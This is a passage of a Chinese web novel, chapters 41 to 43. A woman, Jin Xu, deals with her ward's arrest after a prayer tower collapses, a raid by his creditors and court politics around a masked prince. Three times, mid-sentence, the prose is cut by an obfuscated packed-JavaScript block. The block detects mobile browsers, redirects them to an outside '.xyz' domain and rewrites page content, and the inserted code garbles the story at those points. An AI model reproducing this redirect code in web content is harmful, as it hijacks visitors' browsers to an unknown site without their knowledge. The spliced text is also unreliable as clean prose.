“马车留在街上,先疏散人群。”她道。 “嗯。” “需要我帮忙么?” “不用,人手足够,我送你回去。” “你把我放在人少的街道就行了,你去救人吧。” 又是一阵风转,金絮睁眼已经在街边某个店铺门前。 金絮抬手,捏住他面具两边,轻轻向上滑,他的肤色还是不均匀,看清后再给他端正戴回去。梁风任由她动作。 “我听说长泽发了涝灾?” “嗯,曹太守跟我说过了。上月下了一场雨,漕运受到影响,淹了四艘船只,朝廷拨了新的漕粮,这两天才到。” 王家三代皇商,此次应就是负责押送新增漕粮来的。 “问题不大,只是附近两个县的官员俸禄晚了一个月送到而已。” 金絮了然地点点头。 梁风握了握她的手,“那我走了。” “嗯。” 梁风飞身消失不见,金絮也迈步离去。 十三落于身后,“姑娘,需要属下给您叫辆马车吗?” “不用,快到了,走回去就可以。” 41. 上梁不正下梁歪 金絮回到家,还在院子就听见了屋里徐礼和柔竹的谈话。 “阿柔,等我赚够了银子我就娶你。” “我一定当上大官,让你过上好日子,不用再整日编那些个竹篮。” “你等我啊。” 原来徐礼今天休沐,金絮不想打扰他们两个,悄悄回房。 书桌上躺了封信件,金絮一看封面那不能说是好看的字迹便认出来是丽姬的信。 “死丫头还知道给我写信。” 金絮不满却急急地拆开,粗略扫过一眼后再仔细读第二遍。丽姬洋洋洒洒写了三页纸。 信书丽姬这大半年去了西南,不知从哪打听到了武林大会,在大会上遇见了某个江湖门派的公子。据丽姬说,那公子对她是一见倾心,然后死缠烂打。丽姬往东边连逃数月,那公子都死追不放。通篇满纸全是丽姬对那男子的抱怨,大吐苦水。信的最后说道丽姬会在赵郡小住一段时间,以此打发那男的,若要回信就在此时寄去。 金絮不禁失笑,提笔回信。 首先斥责丽姬遇到事了才知道给她写信,信中也未写明他们二人是如何相遇、如何倾心、如何你追我逃,实在缺少八卦的细节,再是说江湖上对风尘女子的包容,劝丽姬若得遇良人不要放过,最后提及她这几月和梁风去过的地方,有哪些美景是丽姬也值得一去的。最后最后提醒丽姬不要再去做从前小偷小摸的勾当,从了良就做个老实本分的人。 虽然通篇都是对那男子的抱怨,却很少见丽姬能每说一句话都与另一人有关,证明这男子确实掌握到了与丽姬的正确相处法子。 金絮真是难以想象浪荡惯了的丽姬有一天也会停留在某个人身边,只是不知那男子是个什么品行的人。不过她一向相信丽姬的眼光,尤其是在青楼里已经见识过万花丛。 出门将信寄去,回来柔竹在做晚饭了,金絮一边帮着打下手,一边谈论丽姬的八卦。 晚饭后,金絮取出整理好的书稿,一册是笑长生遗稿,薄薄的几张纸,另一册是她耗时几年写成的著作,略厚。她举笔,将早已想好的书名提上,这本书就叫《温柔新语》。 她一时心情大好,搬椅坐到院中赏星空,柔竹端来瓜果,金絮便与柔竹并肩坐着闲聊,谈及往后应该做点什么生意维持生活。 及至夜深,街鼓早已响过,门外突然传来猛烈的拍门声。 “郡府查案,开门!” 粗豪无礼的声音惊醒灯火,金絮迟疑地前去开门,摸到门栓时震得她手几乎弹开。 数支火把和数个陌生男子的脸立在门槛对面,金絮脸上挂上笑容,“大人,深夜到访,不知所谓何事?” 他们不答话,粗蛮地一窝蜂涌入,金絮被他们撞开的门弹到一边。末尾一名看起来是发号的人睨了眼她,漠然道:“郡府贼曹掾办案,徐礼可在?” 金絮怔住,也许是火光太亮,眼前的景象与那日的温柔馆重叠,她脑中空白一瞬。这时徐礼自房内踏出,不明所以道:“我是徐礼,大人找我有什么事?” “你就是徐礼?”为首的人亮出令牌,“你涉嫌今日午时祈福塔塌毁一案,随我们回郡府受审吧。” 两人上前缉拿徐礼,徐礼眼睛明显不知此事,“祈福塔毁了?!” 金絮心里一直后悔当时怎么没问清楚便任他们抓走雪姬。她当即拦住那两人,看着贼曹掾为首的人道:“大人,我等自会配合您的调查,但是还望您能说清楚,祈福塔塌毁一事具体是如何与徐礼有关?” 那人冷冷一笑,“你一女子,怎有资格过问许多?” 羁押徐礼的人挥手蛮力推开她,还趁机在她腰上摸了一把,金絮被推倒在地,腰际压到尖锐的碎石。 “阿絮姐!”柔竹赶忙来扶她。 一行人肆意离去,徐礼走前只来得及说让她们别担心。 火光远去,邻里重归寂静。 柔竹扶着金絮站起来,再跑门边探看,人群的尾巴已经看不见。 “柔竹,别看了,关门吧,现在宵禁,不能出去。” “阿絮姐,怎么办?” 金絮揉着磕疼的手肘,“等明早我去郡府问问看,打听一下情况。” 柔竹没遇到过这样的事情,一着急眼里就涌出泪来。金絮摸摸柔竹脑袋,软声安抚:“别担心,可能是因为前几天刺史刚下郡考察,却出了祈福塔的事,官府也心焦,这才抓人着急了点。徐礼应该不会有事。” 柔竹吸着鼻子点头,过后想起什么又巴巴地看着她,“不过,阿絮姐,如今的祈福塔是阿礼前年募资重修的,会不会出什么事啊?” 金絮猛地想起柔竹在去年同她说过,祈福塔前年塌过一次,当时是徐礼负责募捐重新修筑,这事给徐礼养出了点名望,柔竹跟她说时还挺骄傲,认为这样有助于徐礼买官。 买官...... 金絮皱了眉头,希望是巧合吧。 次日一早,金絮匆匆赶往官署。 早起的行人漫步哈欠,街道每隔一段路便竖着躲了包子馒头的蒸笼白烟,氲开忙于生计中的悠闲。 “姑娘,王爷在附近。”十三的声音突然出现在身后。 金絮刹住脚步,回头,“哪里?” 十三遥遥一指,“一条街。” 金絮快步走去。转角就看见梁风的车轿迎面而来,轿前是李晟。 李晟立刻注意到她,“絮姑娘。” 金絮行礼,“李管家。”她目光直视车厢,看不见车厢内的人。 这时车帘从里掀开,梁风的脸在光线较暗的车厢内色差不是很分明,他看起来也有话想跟她说。他微笑,“阿絮,你怎在这儿?” 李晟吩咐停轿,金絮急忙走近车窗,仰头看他,“王爷,我一直忘了问你,徐礼的官位是你安排的吗?” “嗯。”梁风微微点头。 “徐礼能不能做官,要看他自己本事,你本不用帮他的。” 梁风眸光闪动,“我是在帮你。” 金絮当然知道他是在帮她。 她的掌攀上窗沿,梁风视线落在她手背,金絮声音里有她多年不曾出现的慌闷,“如果你没有为徐礼安排,这次祈福塔的事是不是不会和徐礼有关?这是在利用徐礼针对你?” 金絮一眼望进他眼里,梁风捂住她的手,声音听不出起伏,“或许不会。” 金絮掌心感觉到厢板的厚度,“你现在去哪?” “祈福塔。昨日仅来得及疏通街道和救助伤患,今日才能亲去现场勘查。” 他还想说什么,金絮忙道:“我也去。” 他笑了一下,“那你进来。” 金絮踩凳入车,梁风拉她的手至身边。 “我就说皇帝想除掉你。” “阿絮你不要过多猜测。” 梁风只有在心情好的时候会唤她阿絮,他没放开她的手,金絮不懂他为什么心情好。 “你仔细同我说说这件事。” 他语调缓缓,“前年祈福塔就因年久失修塌毁过一次,当时的郡守柳大人本意是不再重修,因那年太南也在这个时节发了涝灾,漕运受损,太南调不出多余银子供以重建,徐礼知道后自请命向太南富户募捐,最后建成了,募捐书现在还留在官署内。” 他继续道:“仅隔两年,祈福塔又塌了,郡府上下都认为不可能塌得这么快,主簿功曹怀疑是徐礼贪了募捐款,用劣木建塔,因此抓了他。” “那木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839776|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材好不好看一眼不就知道了?” “嗯,我此去就是为了查证木质。” “若徐礼真贪了银子,是刺史还是皇帝,想让你背责?” 话出口,金絮就发觉自己说得有点尖锐,梁风没答她这话,金絮又道:“你一个王爷,用得着亲自去查?郡府上下是没人了吗?” 梁风眼睫微垂一下,片刻复抬起,“亲自查总能放心些,避免他们做伪证。” “这次压死了几人?” “三人。” 金絮低头看了看他握住自己的手,“如果真让你背责,皇帝会怎么做?” 梁风想了想,语气随意,“这事儿不算大事,徐礼的行事不完全受我控制,不足以让皇兄借故除掉我,依皇兄的性子,他不会做什么,只是对我的猜疑会更增几分。” 他补充道:“这件事未必是皇兄的命令,只是我近期刚好在太南,朝廷人尽皆知皇兄这几年顾忌我,极可能是曹充为了讨好皇兄,擅自揣摩圣意做的。” “以后我或许不能随意离京了。”梁风深深看着她,幽幽一叹,“总有许多事情,不能让我如意。” 曹充原位于朝中九卿之一的光禄勋,去年十月左右和原太南郡守柳大人换了官位。这新来的曹郡守却不想远离朝堂,知道梁风也在太南,于是趁此机会,捏住了梁风把柄,利用针对梁风来为自己在朝中表态站队。那皇帝这么喜欢自己手下人拉帮结派? 金絮心中盘算,越想越气,“也就是说,这件事可能是曹充一手安排,皇帝默认的,压死了三个人也无所谓,为的什么?那昏君是想借曹充监视你吗?那昏君去年又为什么允你离京?” “我想离京,是雪姬的案子完成后我向皇兄求的,算作休沐吧。”梁风微顿,“去年中,八公主出生,皇兄高兴,便允了我,还准我什么时候想回去都行。至于死人,朝廷里那些人什么时候在乎过死人?” “他允你离开他眼皮子底下就是为了给你一个行事的机会,好抓你的把柄,这几月你的人还不知道警醒些,都被盯了几个月了才发现。” 他眉头有一点点竖起,“我行什么事?” 金絮心里那点气越发压不住,“自然是召集从前旧部,重立军中威信,收集人材,选地养兵,防止哪一日他真对你动了杀心,你手中一点仰仗都没有。” “他不会。他若真想杀我,早便杀了。”梁风眉头彻底竖起,“你明知我也不会。” “蠢!”金絮撇开头不理他。 梁风扯扯她的手臂,“我回了京,你要来找我。” “我不跟蠢人打交道。” “你已经跟蠢人打了几年的交道了。” 金絮冷冷漠漠地提醒:“我跟你说过什么?我如果主动接近你,就是想利用你。” 最后一个字的音尾仿佛被拉长。 梁风陷入沉默,呼吸也沉默。金絮无言地看着窗帘不时被风吹起的一角,帘后偶露风景。车厢内空气凝窒,她真希望自己眼睛耳朵也能呼吸。 “你还想复仇吗?” 声音轻得像是凉风席卷马场荒草,摩擦草心引燃大火。 金絮不答这话。 他有些赌气,“阿絮,你还记得我跟你说我找回了《红叶书》?你不想看看么?” 她崩开锈口淡淡道:“不想,原来那本书已经找不回来了。” “我偏是找回来了。” 金絮不说话,他握紧她的手,“阿絮......” 不只是心情好时,他想求些什么时也会唤她阿絮。 她继续沉默。 “罢了,那你便别来找我了,我想办法离京。” 很多时候,气氛都以他的妥协来变得和缓。 42. 相约 车轿抵达祈福塔。 “大概到九月,我若无事便去找你。” 梁风正要掀帘下车的手一顿,转头看她,金絮静静地靠壁坐着。 “那便说好了。”他顿时笑开,向她伸出手。金絮将他手推回去,“你先出去。” 二人下车。衙卫围守祈福塔残骸,四周平民聚集,议论纷纷。她仔细看才看到堆聚的人群中有郡府车轿。贼曹掾人等希望带人进残塔搜查,遭梁风侍卫拦阻。个个剑拔弩张,在看见梁风后瞬间变作笑脸相迎,一片跪伏。 金絮假装随侍,隔着十三低头跟在梁风身后。 主簿功曹也在现场,诚惶诚恐上前相揖,似是没想到安分王亲临。 梁风免了礼,主簿功曹命人向他禀报塔内情况,又拿了图纸,金絮偷偷抬眼看去,见图纸上是祈福塔的内部构造。她便听了一耳朵。 祈福塔内有根顶梁柱,从塔基直贯塔顶,这次就是这根顶梁柱断了才导致坍塌。 金絮看了看不远处的残骸,塔仅初层的外表看起来尚算完整,留有入口,连窗户都无破洞,但内里不知怎样,二层以上全是堆积的巨大碎片,人粗的断木突出,碎片之上安放着塔顶,像是带着一个帽子,塔尖的大宝珠安然无恙。 祈福塔只是赏景的所在,并不供人祈福。整个塔唯塔顶这颗夜明珠稍昂贵,夜间仅凭这颗珠子就可照亮祈福街尾与南大街相连的一片。她记得这颗夜明珠是太南成为漕运枢纽向朝廷贡了一大笔银子后皇帝赐的。 徐礼若真想贪,最该贪的就是这颗珠子。 主簿功曹也知道,一开口就是建议梁风先查这颗珠子。 梁风却道:“造假的夜明珠发光很弱,若是假的,昨天夜里就能知道。先唤匠人来,支撑住残塔的关节,避免二次坍塌。” 主簿功曹当即命人找工匠来。 金絮有点生气,显然郡府并没有事先备好工匠,丝毫不担心进塔搜查的人遇到二次坍塌,或者对某些人来讲,塔再塌一次更有利于销毁痕迹。 她思索如何能在顶梁柱上做手脚,放白蚁?锯断?锯断痕迹太明显。锤断?凿空?似乎做不到。酸液腐蚀? 梁风握住她的手,金絮回过神,低声道:“我不能与你保证徐礼在建塔时绝对没有做手脚。” 他浅淡一笑,“我知道。” “但是不管怎样我都不希望你为徐礼背责。” 他闻言笑着,目光微露得意。 等待木匠固塔的间隙,主簿功曹着人领梁风绕塔观察了一圈。 “前两年祈福塔塌毁是什么原因?”梁风问。 “木质腐朽。”主簿功曹揖答。 木匠将幼孩粗的木头抬进塔中,整齐有序,每有人进出祈福塔都有梁风侍卫跟随。前后共搬了六七根木头,金絮看一圈下来也没看出什么。 木匠工作完成后,梁风和主簿功曹同派人进塔搜证。金絮知道,说是搜查,其实早在刚才进进出出的都已查看完了,现在只是把里面发现的物证与木料残渣取出来。她真是颇不耐烦这些繁琐的表面功夫。 顶梁柱的残渣呈前,金絮站在梁风背后看一眼,柱的表面刷了金漆,漆面完整,除裂口处外没有剥落,但内里木头的确腐朽不堪,布满黑色蚀洞,散发一股臭味,唯有木中尚未被腐蚀的空白能看出原有木质。 主簿功曹揖后正要开口,梁风挥手制止,唤了个老工匠来。 老工匠畏畏缩缩,匍匐于地,不敢抬头。 梁风免了礼,招他上前,“你可看得出这木头原来是什么材质?” 老匠人站起来,凑近眯眼猫看,搓了一点木渣又闻又捻,最后战兢着身体答道:“朽得太厉害了......应该是南阳木,不过......” 声音抖动得听不清,旁有属官将他一脚踢在地怒斥,老匠人不敢躲,受了一脚,身体蜷缩似那朽败的木头。 梁风弯腰将老匠人抬臂扶起,道:“你只管说你看出了什么。” 老木匠哆嗦的手几乎滑出梁风手掌,抬一点头想看梁风,没看到又低下去,往梁风身侧贴了半步,“寻......寻常木头在水里泡个三五年都不会......不会朽成这样,何况是南阳木,这、这是喷了药。” 梁风不动声色收回手,眼光看向主簿功曹,“你继续说。” “小民做木头几十年了,没见过哪个大柱子风不吹日不晒的能朽成这样,而且,南阳木虫子是不会蛀的。” 梁风问:“喷什么药能做到?” 老匠人又哆嗦起来,“小......小民不知......” 梁风挥手,“赏。” 老匠人退下。 梁风看着主簿功曹道:“黄大人,南阳木虽不算贵木,但用来建一座塔已是绰绰有余,徐礼的募捐书本王看过,他募得的银子最多只足够这一根南阳木的,其余建塔所需应是他从别处外借。希望黄大人能秉持公正,廉洁查案。” 他说罢,转身牵着金絮往外走,主簿功曹应下,曹掾一干人等行礼相送。 这案子很简单,甚至有些草率和敷衍。不过是被调远的曹太守想在皇帝面前表露态度,但已经被欺负到家门口了,金絮不想太被动,事与徐礼有关,她有足够的理由跟梁风插手这件事。 坐到马车里,金絮道:“查一下被压死的那三个人。” “你怀疑什么?”他问。 “我看那木头中心部位尚未被腐,要等到顶梁柱完全因腐朽而倒塌还需要些时日,太守知你过不多久就要回京,定想让事情发生在你回京前,于是找人提前毁了柱子。如果被压死的人会武功,那么塔就很有可能是被这三人毁的。” 梁风沉吟,金絮还道:“而且,如果他们最后找不到证据陷害徐礼,会把罪名嫁祸给死了的这三人。” 梁风缓缓点头,认同她的说法,“那木头朽得厉害,足以踢断。” 金絮手指敲着膝盖,“塔高七层,顶梁柱粗比三人合抱,派去毁塔的人可能不止三个,但只有这三个人没有逃出来被压死了,他们武功应该不会很高。” 她脑中灵光一闪,“即便不会武功,我们只要能证明这死的三人是太守安排的,你只要在顶梁柱的残木上做点痕迹,把这毁塔一事往太守头上引。你回京后占先机参他一本,将他罢免或贬任,再顺水推舟举荐一人升任太南太守,过个两年,找个理由让新太守与某个九卿一换,朝中就有支持你的人了。” 她越说越投入,回过神一抬头,发现他静静地垂眸看着自己。 略微的审视意味让她心底一空,金絮躲开视线道:“这只是让太守自食恶果而已,没什么的。”也不知是说给谁听。 “朝中每一个为争权夺利而不顾他人性命的人都觉得‘没什么的’。” 金絮嘴唇扯紧,心底空空的位置像是吃进了一口冰块。 “而且,皇兄不会相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839777|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信我举荐的人,阿絮你想得太简单了。” 说出这样的话还唤她阿絮。现在有第三种情况了——劝她时也会唤她阿絮。 梁风手掌整个包住她的五指,金絮觉得他的手心温度不是很高。 “你觉得我是为争权夺利不顾他人性命的人吗?” 她话出口便发觉语气太过冰冷,梁风好歹是个王爷,她想改口,却听他道:“你不会争权夺利,你更不会不顾他人性命。” 料到他会这么说,金絮无所谓道:“你怎知?万一我就做了呢。” “你不会,我知你不会。” 他的声音很冷静,像是想冲淡她的平和,“我管着你,不让你乱行事。” 金絮无声一哼,渐渐习惯了他手掌的温度,她隔了半晌才轻轻道:“我这辈子,也有许多事情不能让我如愿。” 梁风无言,握紧了她的手。 车外十三突然道:“姑娘,有人闯入了您家中。” 金絮闻言奇怪,“我家?”她掀开车帘向外看,入眼是她家门口的街道,遥见自家大门确实被砸了。 梁风原来送她回来了,他果然不想她过多插手祈福塔的事。 马车停驻,车身轻微一抖,她转身想开口,额头蓦然撞上他下巴,梁风不知何时贴近了她身后。他似是未曾想她会突然转身,来不及后躲,一偏头,下巴擦过她额际。金絮好像听见了皮肤摩擦的声音。 她正想抱歉,梁风侧身遮袖打了个喷嚏。金絮摸摸自己头顶,摸到了几根翘起来的发丝,她抚平发丝,十分自若地下了车。 梁风随她而出,道:“可能是债主找上门了。” 徐礼前年建塔时借了银子的债主。 金絮踩过开裂倒下的大门,赶忙进屋。院子静悄悄,堂屋的门似乎也是被踢烂了,屋里一片狼藉,所有东西都被翻箱倒柜,她一眼看出屋内空了许多。 “柔竹,柔竹!” 金絮一边喊一边找,终于在厨房堆柴的角落找到蜷缩的柔竹。 柔竹看见她立刻哭了出来,金絮蹲身抱住,竭力安抚:“没事啊,不要怕不要怕。” “阿絮姐......” 柔竹呜呜咽咽地说话,她听不清楚,拍着一耸一耸的肩背,细心哄道:“柔竹,不管发生什么都没关系的,没关系的。” 柔竹紧紧拽着她的衣服,渐渐平静下来,眼泪仍不止,看见她身后,又往她怀里缩躲。 金絮扶着柔竹坐下,摸摸柔竹脑袋,“你在这等我一下。” 她回头,望见梁风站在门边,神色抚定地看着她。 金絮快步走近,如他一般抓住他的手腕,用力将他往大门拉去。 “你不让我插手你的事,那你也别管我的事。” 梁风顿时站定,金絮再拉不动他。他像个钉子一样,无论金絮如何扯他的手臂都纹丝不动。 “你一定要和我分这么清?” 他声音带寒,金絮抬头看他,话到嘴边又咽下,出口换了一句:“是!我就是要跟你分这么清。” 他似乎咬了咬牙,拂袖,“分不清了。” “分得清。”金絮固执地推他,赶了他出去,再拾起碎裂的木门立着遮挡门扉,当做关上了门。 “我想帮你。” 隔着粗大的门缝,金絮能看见他的衣摆,她道:“多谢王爷好意,民女心领了。” 她不再多言,转身回屋。 43. 案结 柔竹哭着道:“阿絮姐,对不起。” “傻瓜,这不是你的错啊。”金絮蹲在柔竹面前,“那些人有没有对你做什么?” 柔竹搓着眼泪,脸颊被搓得通红,“没有,我躲起来了,但是他们把所有东西都拿走了,阿絮姐......” “不要紧,拿走就拿走好了,你没事才是最重要的,知道了吗,你没事才是最重要的。” 金絮洗块手巾为柔竹擦拭,柔竹抱着她腰,窝在她肩头抽抽嗒嗒。 “你做得很好,柔竹,遇到这种情况第一件事就是要躲起来,不要让自己受到伤害,你做得很好。” 金絮耐心地顺抚柔竹背脊,感到怀中人气息渐渐平复,她轻声问:“知道那些是什么人吗?” “......不知道。”柔竹在她肩头抬起脸,“他们是来讨银子的,很凶,我不敢开门,他们就砸......” “他们还会再来吗?” 柔竹吸了一鼻子,“可能会.....我没听清,他们走的时候好像说还会再来。” 金絮淡淡一笑,“没事,欠了一点银子而已,我来解决。” “阿絮姐,是怎么回事啊?你不要瞒着我,我也能帮你。” “傻丫头。”金絮揉竹脑袋,“应该是之前徐礼建塔时借下的银子,债主得知徐礼被抓才找上门的吧。” 柔竹瞪大眼睛,“阿礼?......阿礼建塔借银子我知道,但他跟我说已经还清了。” 金絮手一顿,想了想道:“可能是不希望你担心吧。” 柔竹垂下头,不知心里想着什么。金絮面上平淡,心里却隐隐有些担忧徐礼这个人。 “阿絮姐,我们收拾屋子吧,你快去你房中看看,我们清点一下丢了什么。”柔竹站了起来,“厨房里什么都没丢,堂屋丢了很多东西。” 金絮笑了笑,也起身去卧房察看。 她在床底的角落掰开一块木板,取出里面的木盒,盒子里放着取钱令两个、房契、温柔馆的贩卖书和一支玉簪子,松了口气,再妥置放回去。 房间里也乱七八糟,万幸她已将书稿装订好,散乱的只是弃纸,其余衣物、四宝只是被翻乱而无一丢失,零星几样饰品珠宝都没了。 “阿絮姐!”柔竹着急的声音逐渐接近。 “怎么了?”她探出屋。 “你快看这个!”柔竹递给她一张纸条,纸上粗笔潦字写着威胁,要求明日午时前凑齐五十两,否则小心他们带人清毁整个房子。 五十两。 比她想象的少。 “幸好,五十两我还有,明天还给他们就行了。” 柔竹显得忧心忡忡,“五十两,那么多啊。” “建个塔肯定不止五十两,徐礼这两年应该还了大部分银子了。” 金絮整理好房间,再和柔竹一起收拾堂屋,清点遗失的物品。她没什么值钱的东西,几样陈设被砸烂了,柜榻都是普通又泛旧的木头。 收拾完屋子,金絮卸下身上仅有的两只簪子和耳饰,这些卖了也不值几文钱。 她忍不住心里想,那个塔,为什么一定要建呢,人们并不用它来祈福啊。它倒是一点福没带给她。 金絮卖了首饰,去钱庄里取足了五十两,找了个木匠安新门。她的取钱令里只剩十五两银子了,其中有十两银子是丽姬的。 嚼蜡般地吃了晚饭,第二天她待在家里,等着债主找上门。 午时未到,大门被拍得烈烈作响,门外粗豪的嗓音叫唤着开门。 她让柔竹进屋,自己拿粗布蒙面,准备开门。这时身后响起落地声,金絮回头一看,十三不知从哪里出现了。 她心中稍安,打开门,几个五大三粗的男人二话不说便闯入,末尾一名看似是老大的人被簇拥着悠闲走进。 “银子呢?” “快交钱!” 金絮与他们隔着距离,镇定道:“先给我看看借据。” 为首的老大横肉一脸地上下打量她,从怀中扯出一叠纸,展开给她看。金絮清晰看见徐礼签的字画的押,借的钱总共也只百两,担保人是柔竹。 她皱了皱眉,没说什么,拿出两个银袋,“这里总共五十两,我先给你们二十五两,你们老大在借据上签字画押后,将借据完好给我,我再给你们剩下的二十五两。” 为首的人不屑一哼,“臭娘们儿,敢和我谈条件?直接给钱!” 十三抄着根木棍上前一步作威胁势。债主看了他一眼,眼神示意,便有两人冲向十三。十三木棍一扫,随意撂倒。 债主变了神色,多出几分顾忌,金絮甩过去一袋银子,指着她早备在一旁的笔墨道:“在借据上签字画押,再将借据给我。” 债主冷冷一哼,签了字,金絮仔细看借据确认无误,扔过去第二袋银子,不客气道:“慢走不送。” 一行人离去,金絮的一股气彻底松下来。她关好门,看向十三笑道:“十三,谢谢你。” 十三一揖,“姑娘,不必言谢。此事是否需要告知王爷?” “告诉他干什么?不用告诉他。” “是。” 金絮心念一转,问道:“十三,你现在是优先听我的话?” “是。” 她勾了嘴唇,手指轻扣,“除了你,王爷还安排了谁吗?” “还有十一。” “十一?我怎么没见过他?” “十一负责联络您和王爷。我负责保护您。” “哦,是这样。”金絮垂眸沉思,将借据收好,告诉柔竹银子还清了,让柔竹安心之后,她再看着十三笑道:“十三,你们这名字是王爷给起的?” “是。” “十一,十三,他就按序号给你们起名字?你是第十三个到他身边的人?” “是。” 她笑了笑,直呼他名,“梁风还真是懒,名字都不会给你们好好起。” 十三略略一顿,还是一揖,“是。” 金絮又笑了笑,不再多言。 她猜祈福塔案子了结后,应当过不了多久,梁风会命十一联系她。 果不其然隔日早晨,十一便现身告知她,梁风约她在吉祥酒楼用午饭。 金絮赶到时梁风已经等着她了。 宽敞的雅间隔绝了酒肆喧闹的划拳助酒声。 “阿絮。” 他又戴上了面具,见到她后笑迎道:“我有许多话要同你说。”一面牵着她桌边坐下。 金絮由他牵拉,静静听他讲。 “徐礼欠的银子怎么样了?出什么事没有?” “还清了,什么也没发生。” “我之前给过你掌葫的取钱令。” “嗯,我还带着。” “你有需要便自取,不用顾及我。”梁风为她倒茶。 “嗯。”金絮浅笑。 小二敲门进来上菜,金絮看着一盘盘端上来精致昂贵的菜品,香气萦绕,忽然意识到以后应该是不会再来吉祥酒楼吃饭了。 梁风动筷后,她也拿起筷子开吃。 “要不要多添几个菜?”梁风看着她笑问。 “不用,够了。这鱼怎么不按你的口味来做?” “那样做的你不爱吃。” 金絮点点头,确实。 她默默吃饭,梁风一直看着她,没怎么动筷。她好像知道他要说什么了。金絮不觉抬起头,看向他,牙齿的动作好像变慢了。 “我后日就返京。” 他道:“皇兄的圣旨下来了,命我即刻回京。” 金絮吞咽喉咙,“什么时辰,我在城门口送你?” 他想了想道:“你后日午前来和光府,我们吃顿饭。” “好。” 饭菜没了味道,她索性放下筷子,认真听他讲。 “祈福塔昨日便结了案。徐礼无罪,过两天就能放出来,但往后是做不成官了。”梁风问:“你希望他在仕途一直走下去么?” 金絮沉默良久,最后摇摇头,“我不希望他做官,但我管不了他。你更不用帮他。” 当初与徐娘的约定仅是照顾徐礼到十七八岁,能自理生活后徐礼的生活她便不再插手。 这些年,徐礼背后除了有她,还有梁风,对徐礼来说已是占了极大的便宜了。 梁风应下,“这个人没什么才能,但野心不小,我也不放心他在你身边。本就只比你小了三、四岁,这个年纪也该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839778|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分出去成家了,哪还能与你住在一处。”他话头一转,“不如我另给你安排住处和下人。” “不用。” 他神色不变,“你总是拒绝我的好意,安排个住处又不麻烦。” “对你来讲是不麻烦,但对寻常人家来说,买个宅子要耗费半辈子心血。” 他停了一会,再问:“那你是喜欢寻常人家么?” 金絮承认,“我现在就是个寻常人家。” 她抬手取下他的面具,放在桌上,继续拿起筷子吃饭。 梁风也不拦她,但在她放下面具后又顾自戴了回去,金絮看了他一眼,不说话。 梁风握住她另一只手,掌心相贴,“我查过那压死的三人,都是平民背景、寻常人家,从未习过武。” “那是谁喷的药?” “是建塔之前,南阳木运输时路上不小心沾到的,不是药,是一种菌液,长久不祛会有腐蚀效果,当时没人发现,过了两年才显出痕迹来。” 金絮声音严肃,“可有证据?别是看你查过死了的三人,罪名安不到那三人头上,就胡乱找了个理由搪塞。” “你放心,我细查过了,确实如此。主簿功曹严惩了当年负责运输木石的漕运主家,此案便算了结。” 漕运?金絮道:“王家?” “不是王家,王家只负责漕粮,不运输木石。” 金絮疑惑道:“那这件事就不是针对你的?” 他一笑,“那是自然。” 他笑容有一丝理所当然,金絮仔细看着他,慢慢反应过来他这丝当然是源自于皇帝。 嘴巴有点发干,金絮喝茶润口。梁风继续说:“不过我细查这个案子,发现背后有柳宇宁的痕迹。” “柳宇宁?......哦,是原太南太守,去年和曹大人调换去京城做九卿了。” “嗯,就是他。”梁风放下筷子,“他才是做了手脚的人。太南成为漕运枢纽后朝廷赏了嵌在祈福塔上的那颗夜明珠,柳宇宁调用公库为这颗夜明珠建了祈福塔,但这笔银子的大部分被柳宇宁贪了,最后建成的祈福塔才会豆腐渣般脆弱不堪,不到一年便塌了,压死了十几个人。 “柳宇宁瞒下此事,未上报朝廷,过不多久,徐礼主动出言为新建祈福塔募资,柳宇宁便想将计就计,抹掉了祈福塔曾压死过十来个人的事情,将全部建塔责任迁到徐礼身上,最后徐礼募得的购置南阳木的银子,大部分就是柳宇宁私下借旁人名义捐给徐礼的。” 金絮听后慢慢道:“徐礼有点冤。” “嗯。但这件事还是会对他的仕途造成影响,过于急功近利,明明募不到足够多的资金建塔,仍是强力而为,即便留官,往后信任他的人不会多。” 金絮缓缓点头,“那柳宇宁怎么处理?” “刺史已经知道了,自会上报朝廷,柳宇宁的惩处由皇上定夺。” 她脑子又活泛了,“你若收买刺史,偷偷将柳宇宁的罪状寄到柳府,不就有了拿捏柳宇宁的把柄,你在朝廷就有了支持你的人。而且这种利益相关远比恩情可靠。” 金絮说完,目光坦诚地注视他,神情泰然地任他注视。梁风轻轻一笑,捏了捏她的掌心,显然全没有把她的话放在心上。 “阿絮,我就不该让你插手这件事。” “我没有插手。” “你也只会过过嘴瘾。你莫管了,我来处理。若按你说的做,那十几个人就白白被压死了。” 金絮淡淡一笑,不认同也不反驳他的话。梁风想到了什么,贴近她,带点开心轻声道:“阿絮,这些事情我两日就查清了。” 